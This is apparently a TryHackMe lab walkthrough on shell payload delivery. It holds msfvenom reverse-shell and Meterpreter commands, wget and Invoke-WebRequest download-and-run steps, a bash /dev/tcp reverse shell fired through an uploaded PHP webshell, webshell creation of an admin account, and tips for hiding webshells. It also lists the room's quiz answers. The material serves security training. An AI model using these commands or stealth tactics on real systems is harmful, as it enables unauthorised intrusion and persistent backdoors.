June 22, 2026
Shell Payload Generation & Delivery Walkthrough Part 2 | TryHackMe
Generate , Customize , and deploy shell payloads with msfvenom , metasploit, and Webshells.
Gowrishankar
5 min read
Task 5: Webshells
Hitting environments where traditional reverse or bind shells just wouldn't work. Firewalls blocked outbound connections, network restrictions killed one‑liners, and netcat wasn't even an option. That's when we turned to webshells, tiny server‑side scripts that operate entirely over HTTP/HTTPS. To monitoring tools, they look like normal web traffic, but they're a backdoor into the server.
What Webshells Really Are
A webshell is just a script in PHP, ASP, JSP, or Python that takes commands through HTTP requests and executes them with the web server's privileges. We send commands via URL parameters or POST data, and the output comes back as HTML. It's simple, sneaky, and effective, especially when I need access that blends in with regular web traffic.
My First PHP Webshell
The most basic PHP webshell I used was a single line:
Upload it, call it in the browser, and suddenly I'm running commands like:
http://target-server/uploads/shell.php?cmd=whoami
http://target-server/uploads/shell.php?cmd=ls -la /var/www/htmlhttp://target-server/uploads/shell.php?cmd=whoami
http://target-server/uploads/shell.php?cmd=ls -la /var/www/htmlIt felt almost too easy but incredibly powerful.
Making Webshells More Usable
Of course, I quickly learned that GET requests leave traces in logs. Switching to POST made things stealthier. Adding authentication stopped others from hijacking my shell. And depending on the target, I had to adapt: ASP.NET shells for IIS, JSP shells for Java apps, or even Python‑based ones when the environment allowed.
Turning Webshells Into Full Shells
Webshells are great for command execution, but they're clunky compared to a real interactive shell. The trick I picked up was using the webshell to bootstrap a reverse shell. On Windows, I'd fire off a PowerShell payload through the webshell. On Linux, I'd pass a bash reverse shell command, URL‑encoded to survive HTTP transmission. Suddenly, my one‑command‑at‑a‑time webshell became a full interactive session.
Ready‑Made Webshells
I also discovered that Kali ships with a collection of webshells in /usr/share/webshells/. The PentestMonkey PHP reverse shell became a staple unlike the minimal one‑liners, it connects back directly to my listener, giving me a proper shell session.
Staying Stealthy
Webshells aren't invisible. WAFs scan for them, file integrity monitoring flags new uploads, and logs can reveal suspicious patterns. I learned to hide them with boring filenames, place them where uploads are expected, vary my access timing, and always plan cleanup. Leaving a webshell behind after an engagement is sloppy and unacceptable.
Operational Best Practices
A few operational habits make the difference between keeping access and losing it.
- File placement: Put webshells where uploads are expected, use boring filenames, and consider embedding code within existing legitimate files.
- Access patterns: Vary timing and don't hammer the webshell with rapid-fire requests. Use realistic user agents and referrer headers.
- Command selection: Start with basic recon (
whoami,id,ls) before attempting anything noisy like privilege escalation. - Cleanup: Always plan how we'll remove the webshell after the engagement. Leaving backdoors in production is not acceptable, even during authorised testing.
What PHP function is used in the basic webshell to execute system commands?
shell_exec
What HTTP method helps avoid logging commands in web server access logs?
POST
What is the name of the well-known PHP reverse shell script included in Kali's webshell collection, written by PentestMonkey?
php-reverse-shell.php
Task 6: Practical Exercises: Linux
The web server for webshell uploads is accessible at [http://MACHINE_IP](http://MACHINE_IP.).
Start a netcat listener before each exercise where we are catching a shell: nc -lvnp 4444
Exercises
1. Stageless ELF Reverse Shell
Generate a stageless Linux ELF reverse shell with msfvenom and transfer it to the Linux machine using Python's HTTP server. SSH in, download the payload, make it executable, and run it. Catch the connection with netcat.
attacker@tryhackme:~$ msfvenom -p linux/x64/shell_reverse_tcp LHOST=CONNECTION_IP LPORT=4444 -f elf -o shell.elf
attacker@tryhackme:~$ python3 -m http.server 8000attacker@tryhackme:~$ msfvenom -p linux/x64/shell_reverse_tcp LHOST=CONNECTION_IP LPORT=4444 -f elf -o shell.elf
attacker@tryhackme:~$ python3 -m http.server 8000On the target machine:
shell@target:~$ wget http://CONNECTION_IP:8000/shell.elf -O /tmp/shell.elf
shell@target:~$ chmod +x /tmp/shell.elf && /tmp/shell.elfshell@target:~$ wget http://CONNECTION_IP:8000/shell.elf -O /tmp/shell.elf
shell@target:~$ chmod +x /tmp/shell.elf && /tmp/shell.elf2. Staged Linux Reverse Shell via multi/handler
Generate a staged Linux reverse shell with msfvenom and serve it over HTTP:
attacker@tryhackme:~$ msfvenom -p linux/x64/shell/reverse_tcp LHOST=CONNECTION_IP LPORT=4444 -f elf -o staged_shell.elf
attacker@tryhackme:~$ python3 -m http.server 8000attacker@tryhackme:~$ msfvenom -p linux/x64/shell/reverse_tcp LHOST=CONNECTION_IP LPORT=4444 -f elf -o staged_shell.elf
attacker@tryhackme:~$ python3 -m http.server 8000Then set up multi/handler in Metasploit:
attacker@tryhackme:~$ sudo msfconsole
msf6 > use multi/handler
msf6 exploit(multi/handler) > set PAYLOAD linux/x64/shell/reverse_tcp
msf6 exploit(multi/handler) > set LHOST CONNECTION_IP
msf6 exploit(multi/handler) > set LPORT 4444
msf6 exploit(multi/handler) > exploit -jattacker@tryhackme:~$ sudo msfconsole
msf6 > use multi/handler
msf6 exploit(multi/handler) > set PAYLOAD linux/x64/shell/reverse_tcp
msf6 exploit(multi/handler) > set LHOST CONNECTION_IP
msf6 exploit(multi/handler) > set LPORT 4444
msf6 exploit(multi/handler) > exploit -jOn the target machine, download and execute the payload:
shell@target:~$ wget http://CONNECTION_IP:8000/staged_shell.elf -O /tmp/staged_shell.elf
shell@target:~$ chmod +x /tmp/staged_shell.elf && /tmp/staged_shell.elfshell@target:~$ wget http://CONNECTION_IP:8000/staged_shell.elf -O /tmp/staged_shell.elf
shell@target:~$ chmod +x /tmp/staged_shell.elf && /tmp/staged_shell.elfThe Sending stage message in the Metasploit console confirms the two-phase handshake is working.
3. PHP Webshell on Linux
On the AttackBox or Kali, create the webshell file using a text editor:
attacker@tryhackme:~$ nano shell.phpattacker@tryhackme:~$ nano shell.phpPaste the following into the file and save it:
Navigate to http://MACHINE_IP and upload shell.php using the upload form. Once uploaded, test command execution in the browser:
http://MACHINE_IP/uploads/shell.php?cmd=whoami
http://MACHINE_IP/uploads/shell.php?cmd=idhttp://MACHINE_IP/uploads/shell.php?cmd=whoami
http://MACHINE_IP/uploads/shell.php?cmd=id4. Reverse Shell via Webshell
First, make sure the netcat listener is running on the AttackBox:
attacker@tryhackme:~$ nc -lvnp 4444attacker@tryhackme:~$ nc -lvnp 4444From the PHP webshell on the Linux machine, trigger a bash reverse shell back to our listener. Pass the command throughcurl, which handles URL encoding automatically.
curl -G "http://MACHINE_IP/uploads/shell.php" --data-urlencode "cmd=bash -c 'bash -i >& /dev/tcp/CONNECTION_IP/4444 0>&1'"curl -G "http://MACHINE_IP/uploads/shell.php" --data-urlencode "cmd=bash -c 'bash -i >& /dev/tcp/CONNECTION_IP/4444 0>&1'"Flags explained:
-G: Sends the data as a GET request query string rather than a POST body--data-urlencode "cmd=...": URL-encodes the value and appends it to the URL as?cmd=...
What msfvenom format flag generates a Linux ELF binary?
-f elf
What Metasploit output confirms the staged payload two-phase handshake is working?
Sending stage
Task 7: Practical Exercises: Windows
Start a netcat listener before each exercise where we are catching a shell: nc -lvnp 4444
Exercises
1. Stageless Windows EXE
Generate a stageless Windows x64 EXE payload and serve it over HTTP:
attacker@tryhackme:~$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=CONNECTION_IP LPORT=4444 -f exe -o shell.exe
attacker@tryhackme:~$ python3 -m http.server 8000attacker@tryhackme:~$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=CONNECTION_IP LPORT=4444 -f exe -o shell.exe
attacker@tryhackme:~$ python3 -m http.server 8000Start a netcat listener to catch the incoming shell:
attacker@tryhackme:~$ nc -lvnp 4444attacker@tryhackme:~$ nc -lvnp 4444On the Windows machine, open PowerShell and download the payload from the attacker:
PS C:\Users\Administrator> Invoke-WebRequest http://CONNECTION_IP:8000/shell.exe -OutFile C:\Users\Administrator\Desktop\shell.exePS C:\Users\Administrator> Invoke-WebRequest http://CONNECTION_IP:8000/shell.exe -OutFile C:\Users\Administrator\Desktop\shell.exeExecute it:
PS C:\Users\Administrator> C:\Users\Administrator\Desktop\shell.exePS C:\Users\Administrator> C:\Users\Administrator\Desktop\shell.exeThe netcat listener receives the connection.
2. Staged Windows Meterpreter via multi/handler
Generate a staged Windows x64 Meterpreter payload and serve it over HTTP:
attacker@tryhackme:~$ msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=CONNECTION_IP LPORT=4444 -f exe -o meterpreter.exe
attacker@tryhackme:~$ python3 -m http.server 8000attacker@tryhackme:~$ msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=CONNECTION_IP LPORT=4444 -f exe -o meterpreter.exe
attacker@tryhackme:~$ python3 -m http.server 8000Set up multi/handler in Metasploit:
attacker@tryhackme:~$ sudo msfconsole
msf6 > use multi/handler
msf6 exploit(multi/handler) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST CONNECTION_IP
msf6 exploit(multi/handler) > set LPORT 4444
msf6 exploit(multi/handler) > exploit -jattacker@tryhackme:~$ sudo msfconsole
msf6 > use multi/handler
msf6 exploit(multi/handler) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST CONNECTION_IP
msf6 exploit(multi/handler) > set LPORT 4444
msf6 exploit(multi/handler) > exploit -jOn the Windows machine, download and execute the payload:
PS C:\Users\Administrator> Invoke-WebRequest http://CONNECTION_IP:8000/meterpreter.exe -OutFile C:\Users\Administrator\Desktop\meterpreter.exe
PS C:\Users\Administrator> C:\Users\Administrator\Desktop\meterpreter.exePS C:\Users\Administrator> Invoke-WebRequest http://CONNECTION_IP:8000/meterpreter.exe -OutFile C:\Users\Administrator\Desktop\meterpreter.exe
PS C:\Users\Administrator> C:\Users\Administrator\Desktop\meterpreter.exeInteract with the session and confirm access:
msf6 exploit(multi/handler) > sessions -i 1
meterpreter > sysinfo
meterpreter > getuidmsf6 exploit(multi/handler) > sessions -i 1
meterpreter > sysinfo
meterpreter > getuid3. Windows Admin Account via Webshell
On the AttackBox, create the webshell file:
attacker@tryhackme:~$ nano shell.phpattacker@tryhackme:~$ nano shell.phpPaste the following into the file and save it:
Navigate to http://MACHINE_IP and upload shell.php using the upload form. Once uploaded, use it to create a new local admin account. Spaces in commands must be encoded as %20:
http://MACHINE_IP/uploads/shell.php?cmd=net%20user%20pentester%20Passw0rd!%20/add
http://MACHINE_IP/uploads/shell.php?cmd=net%20localgroup%20administrators%20pentester%20/addhttp://MACHINE_IP/uploads/shell.php?cmd=net%20user%20pentester%20Passw0rd!%20/add
http://MACHINE_IP/uploads/shell.php?cmd=net%20localgroup%20administrators%20pentester%20/add4. RDP Into Windows Using the New Account
Connect to the Windows machine via RDP using the account we just created:
attacker@tryhackme:~$ xfreerdp /dynamic-resolution +clipboard /cert:ignore /v:MACHINE_IP /u:pentester /p:'Passw0rd!'attacker@tryhackme:~$ xfreerdp /dynamic-resolution +clipboard /cert:ignore /v:MACHINE_IP /u:pentester /p:'Passw0rd!'What Meterpreter command displays information about the compromised system, including OS and hostname?
sysinfo
Part 1 Link : https://medium.com/@gowrishankar.a391/shell-payload-generation-delivery-walkthrough-part-1-tryhackme-8742900a26fe
Room Link: https://tryhackme.com/room/shellgenerationdelivery